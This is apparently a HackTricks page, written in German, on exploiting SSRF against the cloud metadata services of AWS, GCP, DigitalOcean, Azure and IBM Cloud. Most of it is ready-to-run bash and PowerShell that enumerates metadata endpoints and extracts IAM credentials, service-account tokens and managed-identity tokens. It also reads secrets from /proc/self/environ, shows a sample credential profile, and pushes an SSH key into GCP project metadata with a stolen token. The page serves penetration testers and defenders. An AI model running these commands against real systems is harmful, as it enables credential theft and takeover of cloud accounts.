# Cloud SSRF {{#include ../../banners/hacktricks-training.md}} ## AWS ### Missbrauch von SSRF in der AWS EC2-Umgebung **Der Metadaten**-Endpunkt kann von jeder EC2-Maschine aus aufgerufen werden und bietet interessante Informationen darüber. Er ist unter der URL `http://169.254.169.254` erreichbar ([Informationen über die Metadaten hier](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)). Es gibt **2 Versionen** des Metadaten-Endpunkts. Die **erste** erlaubt den **Zugriff** auf den Endpunkt über **GET**-Anfragen (so kann jede **SSRF ihn ausnutzen**). Für die **Version 2**, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), müssen Sie ein **Token** anfordern, indem Sie eine **PUT**-Anfrage mit einem **HTTP-Header** senden und dann dieses Token verwenden, um mit einem anderen HTTP-Header auf die Metadaten zuzugreifen (es ist also **komplizierter auszunutzen** mit einer SSRF). > [!CAUTION] > Beachten Sie, dass wenn die EC2-Instanz IMDSv2 durchsetzt, [**laut den Dokumenten**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), die **Antwort der PUT-Anfrage** ein **Hop-Limit von 1** haben wird, was es unmöglich macht, auf die EC2-Metadaten von einem Container innerhalb der EC2-Instanz zuzugreifen. > > Darüber hinaus wird **IMDSv2** auch **Anfragen blockieren, um ein Token abzurufen, die den `X-Forwarded-For`-Header enthalten**. Dies dient dazu, zu verhindern, dass falsch konfigurierte Reverse-Proxys darauf zugreifen können. Sie finden Informationen über die [Metadatenendpunkte in den Dokumenten](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). Im folgenden Skript werden einige interessante Informationen daraus gewonnen: ```bash EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null) HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN" URL="http://169.254.169.254/latest/meta-data" aws_req="" if [ "$(command -v curl)" ]; then aws_req="curl -s -f -H '$HEADER'" elif [ "$(command -v wget)" ]; then aws_req="wget -q -O - -H '$HEADER'" else echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" fi printf "ami-id: "; eval $aws_req "$URL/ami-id"; echo "" printf "instance-action: "; eval $aws_req "$URL/instance-action"; echo "" printf "instance-id: "; eval $aws_req "$URL/instance-id"; echo "" printf "instance-life-cycle: "; eval $aws_req "$URL/instance-life-cycle"; echo "" printf "instance-type: "; eval $aws_req "$URL/instance-type"; echo "" printf "region: "; eval $aws_req "$URL/placement/region"; echo "" echo "" echo "Account Info" eval $aws_req "$URL/identity-credentials/ec2/info"; echo "" eval $aws_req "http://169.254.169.254/latest/dynamic/instance-identity/document"; echo "" echo "" echo "Network Info" for mac in $(eval $aws_req "$URL/network/interfaces/macs/" 2>/dev/null); do echo "Mac: $mac" printf "Owner ID: "; eval $aws_req "$URL/network/interfaces/macs/$mac/owner-id"; echo "" printf "Public Hostname: "; eval $aws_req "$URL/network/interfaces/macs/$mac/public-hostname"; echo "" printf "Security Groups: "; eval $aws_req "$URL/network/interfaces/macs/$mac/security-groups"; echo "" echo "Private IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv4-associations/"; echo "" printf "Subnet IPv4: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv4-cidr-block"; echo "" echo "PrivateIPv6s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv6s"; echo "" printf "Subnet IPv6: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv6-cidr-blocks"; echo "" echo "Public IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/public-ipv4s"; echo "" echo "" done echo "" echo "IAM Role" eval $aws_req "$URL/iam/info" for role in $(eval $aws_req "$URL/iam/security-credentials/" 2>/dev/null); do echo "Role: $role" eval $aws_req "$URL/iam/security-credentials/$role"; echo "" echo "" done echo "" echo "User Data" # Search hardcoded credentials eval $aws_req "http://169.254.169.254/latest/user-data" echo "" echo "EC2 Security Credentials" eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo "" ``` Als ein **öffentlich verfügbares IAM-Zugangsdaten** Beispiel können Sie besuchen: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws) Sie können auch öffentliche **EC2-Sicherheitsanmeldeinformationen** überprüfen unter: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance) Sie können dann **diese Anmeldeinformationen verwenden und sie mit der AWS CLI** nutzen. Dies ermöglicht Ihnen, **alles zu tun, wozu diese Rolle Berechtigungen hat**. Um die neuen Anmeldeinformationen zu nutzen, müssen Sie ein neues AWS-Profil erstellen, das so aussieht: ``` [profilename] aws_access_key_id = ASIA6GG71[...] aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT[...] aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw= ``` Beachten Sie das **aws_session_token**, dies ist unerlässlich, damit das Profil funktioniert. [**PACU**](https://github.com/RhinoSecurityLabs/pacu) kann mit den entdeckten Anmeldeinformationen verwendet werden, um Ihre Berechtigungen herauszufinden und zu versuchen, die Berechtigungen zu eskalieren. ### SSRF in AWS ECS (Container Service) Anmeldeinformationen **ECS** ist eine logische Gruppe von EC2-Instanzen, auf denen Sie eine Anwendung ausführen können, ohne Ihre eigene Clusterverwaltungsinfrastruktur skalieren zu müssen, da ECS das für Sie verwaltet. Wenn es Ihnen gelingt, einen Dienst, der in **ECS** läuft, zu kompromittieren, ändern sich die **Metadatenendpunkte**. Wenn Sie _**http://169.254.170.2/v2/credentials/\**_ aufrufen, finden Sie die Anmeldeinformationen der ECS-Maschine. Aber zuerst müssen Sie **den \ finden**. Um den \ zu finden, müssen Sie die **environ**-Variable **AWS_CONTAINER_CREDENTIALS_RELATIVE_URI** innerhalb der Maschine lesen.\ Sie könnten in der Lage sein, dies auszulesen, indem Sie eine **Path Traversal** zu `file:///proc/self/environ` ausnutzen.\ Die genannte http-Adresse sollte Ihnen den **AccessKey, SecretKey und Token** geben. ```bash curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O - ``` > [!TIP] > Beachten Sie, dass Sie in **einigen Fällen** auf die **EC2-Metadateninstanz** vom Container aus zugreifen können (überprüfen Sie die zuvor erwähnten IMDSv2 TTL-Beschränkungen). In diesen Szenarien könnten Sie vom Container sowohl auf die IAM-Rolle des Containers als auch auf die IAM-Rolle der EC2 zugreifen. ### SSRF für AWS Lambda In diesem Fall werden die **Anmeldeinformationen in Umgebungsvariablen gespeichert**. Um auf sie zuzugreifen, müssen Sie auf etwas wie **`file:///proc/self/environ`** zugreifen. Die **Namen** der **interessanten Umgebungsvariablen** sind: - `AWS_SESSION_TOKEN` - `AWS_SECRET_ACCESS_KEY` - `AWS_ACCES_KEY_ID` Darüber hinaus haben Lambda-Funktionen neben IAM-Anmeldeinformationen auch **Ereignisdaten, die an die Funktion übergeben werden, wenn sie gestartet wird**. Diese Daten sind der Funktion über die [runtime interface](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html) zugänglich und könnten **sensible** **Informationen** enthalten (wie in den **stageVariables**). Im Gegensatz zu IAM-Anmeldeinformationen sind diese Daten über standardmäßiges SSRF unter **`http://localhost:9001/2018-06-01/runtime/invocation/next`** zugänglich. > [!WARNING] > Beachten Sie, dass die **Lambda-Anmeldeinformationen** in den **Umgebungsvariablen** enthalten sind. Wenn also der **Stack-Trace** des Lambda-Codes Umgebungsvariablen ausgibt, ist es möglich, sie **durch Provokation eines Fehlers** in der App zu **exfiltrieren**. ### SSRF-URL für AWS Elastic Beanstalk Wir rufen die `accountId` und `region` von der API ab. ``` http://169.254.169.254/latest/dynamic/instance-identity/document http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role ``` Wir holen dann die `AccessKeyId`, `SecretAccessKey` und `Token` von der API. ``` http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role ``` ![](https://miro.medium.com/max/60/0*4OG-tRUNhpBK96cL?q=20) ![](https://miro.medium.com/max/1469/0*4OG-tRUNhpBK96cL) Dann verwenden wir die Anmeldeinformationen mit `aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/`. ## GCP Sie können [**hier die Dokumentation zu Metadatenendpunkten finden**](https://cloud.google.com/appengine/docs/standard/java/accessing-instance-metadata). ### SSRF-URL für Google Cloud Erfordert den HTTP-Header **`Metadata-Flavor: Google`** und Sie können auf den Metadatenendpunkt mit den folgenden URLs zugreifen: - [http://169.254.169.254](http://169.254.169.254) - [http://metadata.google.internal](http://metadata.google.internal) - [http://metadata](http://metadata) Interessante Endpunkte zum Extrahieren von Informationen: ```bash # /project # Project name and number curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id # Project attributes curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/attributes/?recursive=true # /oslogin # users curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/users # groups curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/groups # security-keys curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/security-keys # authorize curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/authorize # /instance # Description curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/description # Hostname curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/hostname # ID curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id # Image curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/image # Machine Type curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/machine-type # Name curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/name # Tags curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/scheduling/tags # Zone curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone # User data curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/attributes/startup-script" # Network Interfaces for iface in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/"); do echo " IP: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/ip") echo " Subnetmask: "$(curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/subnetmask") echo " Gateway: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/gateway") echo " DNS: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/dns-servers") echo " Network: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/network") echo " ============== " done # Service Accounts for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do echo " Name: $sa" echo " Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email") echo " Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases") echo " Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity") echo " Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes") echo " Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token") echo " ============== " done # K8s Attributtes ## Cluster location curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-location ## Cluster name curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-name ## Os-login enabled curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/enable-oslogin ## Kube-env curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-env ## Kube-labels curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-labels ## Kubeconfig curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kubeconfig # All custom project attributes curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true&alt=text" \ -H "Metadata-Flavor: Google" # All custom project attributes instance attributes curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \ -H "Metadata-Flavor: Google" ``` Beta benötigt derzeit keinen Header (danke Mathias Karlsson @avlidienbrunn) ``` http://metadata.google.internal/computeMetadata/v1beta1/ http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true ``` > [!CAUTION] > Um das **exfiltrierte Dienstkonto-Token** zu verwenden, können Sie einfach Folgendes tun: > > ```bash > # Via env vars > export CLOUDSDK_AUTH_ACCESS_TOKEN= > gcloud projects list > > # Via setup > echo "" > /some/path/to/token > gcloud config set auth/access_token_file /some/path/to/token > gcloud projects list > gcloud config unset auth/access_token_file > ``` ### Fügen Sie einen SSH-Schlüssel hinzu Extrahieren Sie das Token ``` http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json ``` Überprüfen Sie den Geltungsbereich des Tokens (mit der vorherigen Ausgabe oder indem Sie Folgendes ausführen) ```bash curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA { "issued_to": "101302079XXXXX", "audience": "10130207XXXXX", "scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring", "expires_in": 2443, "access_type": "offline" } ``` Jetzt den SSH-Schlüssel pushen. ```bash curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata" -H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA" -H "Content-Type: application/json" --data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}' ``` ### Cloud Functions Der Metadaten-Endpunkt funktioniert genauso wie in VMs, jedoch ohne einige Endpunkte: ```bash # /project # Project name and number curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id # /instance # ID curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id # Zone curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone # Auto MTLS config curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/platform-security/auto-mtls-configuration # Service Accounts for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do echo " Name: $sa" echo " Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email") echo " Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases") echo " Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity") echo " Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes") echo " Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token") echo " ============== " done ``` ## Digital Ocean > [!WARNING] > Es gibt keine Dinge wie AWS-Rollen oder GCP-Dienstkonten, also erwarten Sie nicht, Bot-Anmeldeinformationen im Metadatenbereich zu finden. Dokumentation verfügbar unter [`https://developers.digitalocean.com/documentation/metadata/`](https://developers.digitalocean.com/documentation/metadata/) ``` curl http://169.254.169.254/metadata/v1/id http://169.254.169.254/metadata/v1.json http://169.254.169.254/metadata/v1/ http://169.254.169.254/metadata/v1/id http://169.254.169.254/metadata/v1/user-data http://169.254.169.254/metadata/v1/hostname http://169.254.169.254/metadata/v1/region http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/addressAll in one request: curl http://169.254.169.254/metadata/v1.json | jq ``` ## Azure ### Azure VM [**Docs** in here](https://learn.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service?tabs=linux). - **Muss** den Header `Metadata: true` enthalten - Darf **nicht** einen `X-Forwarded-For` Header enthalten > [!TIP] > Eine Azure-VM kann 1 systemverwaltete Identität und mehrere benutzerverwaltete Identitäten haben. Das bedeutet im Grunde, dass Sie **alle verwalteten Identitäten, die an eine VM angehängt sind, impersonieren können**. > > Bei der Anforderung eines Zugriffstokens für den Metadatenendpunkt verwendet der Metadatenservice standardmäßig die **systemzugewiesene verwaltete Identität**, um das Token zu generieren, falls eine systemzugewiesene verwaltete Identität vorhanden ist. Falls es nur **EINE benutzerzugewiesene verwaltete Identität** gibt, wird diese standardmäßig verwendet. Wenn jedoch keine systemzugewiesene verwaltete Identität vorhanden ist und es **mehrere benutzerzugewiesene verwaltete Identitäten** gibt, gibt der Metadatenservice einen Fehler zurück, der angibt, dass es mehrere verwaltete Identitäten gibt und es notwendig ist, **anzugeben, welche verwendet werden soll**. > > Leider konnte ich keinen Metadatenendpunkt finden, der alle MIs anzeigt, die eine VM hat, sodass es aus der Perspektive eines Red Teams eine schwierige Aufgabe sein könnte, alle zugewiesenen verwalteten Identitäten einer VM herauszufinden. > > Daher können Sie, um alle angehängten MIs zu finden, Folgendes tun: > > - **Angehängte Identitäten mit az cli abrufen** (wenn Sie bereits einen Principal im Azure-Mandanten kompromittiert haben) > > ```bash > az vm identity show \ > --resource-group \ > --name > ``` > > - **Angehängte Identitäten** mit der standardmäßig angehängten MI im Metadatenendpunkt abrufen: > > ```bash > export API_VERSION="2021-12-13" > > # Token von der standardmäßigen MI abrufen > export TOKEN=$(curl -s -H "Metadata:true" \ > "http://169.254.169.254/metadata/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/" \ > | jq -r '.access_token') > > # Benötigte Details abrufen > export SUBSCRIPTION_ID=$(curl -s -H "Metadata:true" \ > "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.subscriptionId') > export RESOURCE_GROUP=$(curl -s -H "Metadata:true" \ > "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.resourceGroupName') > export VM_NAME=$(curl -s -H "Metadata:true" \ > "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.name') > > # Versuchen, angehängte MIs abzurufen > curl -s -H "Authorization: Bearer $TOKEN" \ > "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Compute/virtualMachines/$VM_NAME?api-version=$API_VERSION" | jq > ``` > > - **Alle** definierten verwalteten Identitäten im Mandanten abrufen und **brute force**, um zu sehen, ob eine von ihnen an die VM angehängt ist: > > ```bash > az identity list > ``` > [!CAUTION] > Verwenden Sie bei den Tokenanforderungen einen der Parameter `object_id`, `client_id` oder `msi_res_id`, um die verwaltete Identität anzugeben, die Sie verwenden möchten ([**docs**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token)). Andernfalls wird die **standardmäßige MI verwendet**. {{#tabs}} {{#tab name="Bash"}} ```bash HEADER="Metadata:true" URL="http://169.254.169.254/metadata" API_VERSION="2021-12-13" #https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service?tabs=linux#supported-api-versions echo "Instance details" curl -s -f -H "$HEADER" "$URL/instance?api-version=$API_VERSION" echo "Load Balancer details" curl -s -f -H "$HEADER" "$URL/loadbalancer?api-version=$API_VERSION" echo "Management Token" curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/" echo "Graph token" curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://graph.microsoft.com/" echo "Vault token" curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://vault.azure.net/" echo "Storage token" curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://storage.azure.com/" ``` {{#endtab}} {{#tab name="PS"}} ```bash # Powershell Invoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -NoProxy -Uri "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | ConvertTo-Json -Depth 64 ## User data $userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "http://169.254.169.254/metadata/instance/compute/userData?api-version=2021- 01-01&format=text" [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($userData)) ## Get management token (Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://management.azure.com/" -Headers @{"Metadata"="true"}).access_token ## Get graph token (Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://graph.microsoft.com/" -Headers @{"Metadata"="true"}).access_token ## Get vault token (Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://vault.azure.net/" -Headers @{"Metadata"="true"}).access_token ## Get storage token (Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://storage.azure.com/" -Headers @{"Metadata"="true"}).access_token # More Paths /metadata/instance?api-version=2017-04-02 /metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text /metadata/instance/compute/userData?api-version=2021-01-01&format=text ``` {{#endtab}} {{#endtabs}} > [!WARNING] > Beachten Sie, dass der Endpunkt **`http://169.254.169.254/metadata/v1/instanceinfo` den Header `Metadata: True` nicht benötigt**. Dies ist großartig, um die Auswirkungen von SSRF-Schwachstellen in Azure zu zeigen, wo Sie diesen Header nicht hinzufügen können. ### Azure App & Funktionen Dienste & Automatisierungskonten Aus der **env** können Sie die Werte von **`IDENTITY_HEADER`** und **`IDENTITY_ENDPOINT`** abrufen. Diese können Sie verwenden, um ein Token zu sammeln, um mit dem Metadatenserver zu kommunizieren. In den meisten Fällen benötigen Sie ein Token für eine dieser Ressourcen: - [https://storage.azure.com](https://storage.azure.com/) - [https://vault.azure.net](https://vault.azure.net/) - [https://graph.microsoft.com](https://graph.microsoft.com/) - [https://management.azure.com](https://management.azure.com/) > [!CAUTION] > Verwenden Sie in den Token-Anfragen einen der Parameter `object_id`, `client_id` oder `msi_res_id`, um die verwaltete Identität anzugeben, die Sie verwenden möchten ([**docs**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token)). Andernfalls wird die **Standard-MI verwendet**. {{#tabs}} {{#tab name="Bash"}} ```bash # Check for those env vars to know if you are in an Azure app echo $IDENTITY_HEADER echo $IDENTITY_ENDPOINT # (Fingerprint) You should also be able to find the folder: ls /opt/microsoft # Get management token curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER" # Get graph token curl "$IDENTITY_ENDPOINT?resource=https://graph.microsoft.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER" # Get vault token curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER" # Get storage token curl "$IDENTITY_ENDPOINT?resource=https://storage.azure.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER" ``` {{#endtab}} {{#tab name="PS"}} ```bash # Define the API version $API_VERSION = "2019-08-01" # Function to get a token for a specified resource function Get-Token { param ( [string]$Resource ) $url = "$IDENTITY_ENDPOINT?resource=$Resource&api-version=$API_VERSION" $headers = @{ "X-IDENTITY-HEADER" = $IDENTITY_HEADER } try { $response = Invoke-RestMethod -Uri $url -Headers $headers -Method Get $response.access_token } catch { Write-Error "Error obtaining token for $Resource: $_" } } # Get Management Token $managementToken = Get-Token -Resource "https://management.azure.com/" Write-Host "Management Token: $managementToken" # Get Graph Token $graphToken = Get-Token -Resource "https://graph.microsoft.com/" Write-Host "Graph Token: $graphToken" # Get Vault Token $vaultToken = Get-Token -Resource "https://vault.azure.net/" Write-Host "Vault Token: $vaultToken" # Get Storage Token $storageToken = Get-Token -Resource "https://storage.azure.com/" Write-Host "Storage Token: $storageToken" # Using oneliners ## Get management token (Invoke-RestMethod -Uri "${env:IDENTITY_ENDPOINT}?resource=https://management.azure.com/&api-version=2019-08-01" -Headers @{ "X-IDENTITY-HEADER" = "$env:IDENTITY_HEADER" }).access_token ## Get graph token (Invoke-RestMethod -Uri "${env:IDENTITY_ENDPOINT}?resource=https://graph.microsoft.com/&api-version=2019-08-01" -Headers @{ "X-IDENTITY-HEADER" = "$env:IDENTITY_HEADER" }).access_token ## Get vault token (Invoke-RestMethod -Uri "${env:IDENTITY_ENDPOINT}?resource=https://vault.azure.net/&api-version=2019-08-01" -Headers @{ "X-IDENTITY-HEADER" = "$env:IDENTITY_HEADER" }).access_token ## Get storage token (Invoke-RestMethod -Uri "${env:IDENTITY_ENDPOINT}?resource=https://storage.azure.com/&api-version=2019-08-01" -Headers @{ "X-IDENTITY-HEADER" = "$env:IDENTITY_HEADER" }).access_token ## Remember that in Automation Accounts it might be declared the client ID of the assigned user managed identity inside the variable that can be gatehred with: Get-AutomationVariable -Name 'AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID' ``` {{#endtab}} {{#endtabs}} ## IBM Cloud > [!WARNING] > Beachten Sie, dass in IBM standardmäßig Metadaten nicht aktiviert sind, sodass es möglich ist, dass Sie darauf nicht zugreifen können, selbst wenn Sie sich in einer IBM-Cloud-VM befinden. ```bash export instance_identity_token=`curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\ -H "Metadata-Flavor: ibm"\ -H "Accept: application/json"\ -d '{ "expires_in": 3600 }' | jq -r '(.access_token)'` # Get instance details curl -s -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" -X GET "http://169.254.169.254/metadata/v1/instance?version=2022-03-01" | jq # Get SSH keys info curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/keys?version=2022-03-01" | jq # Get SSH keys fingerprints & user data curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01" | jq # Get placement groups curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" 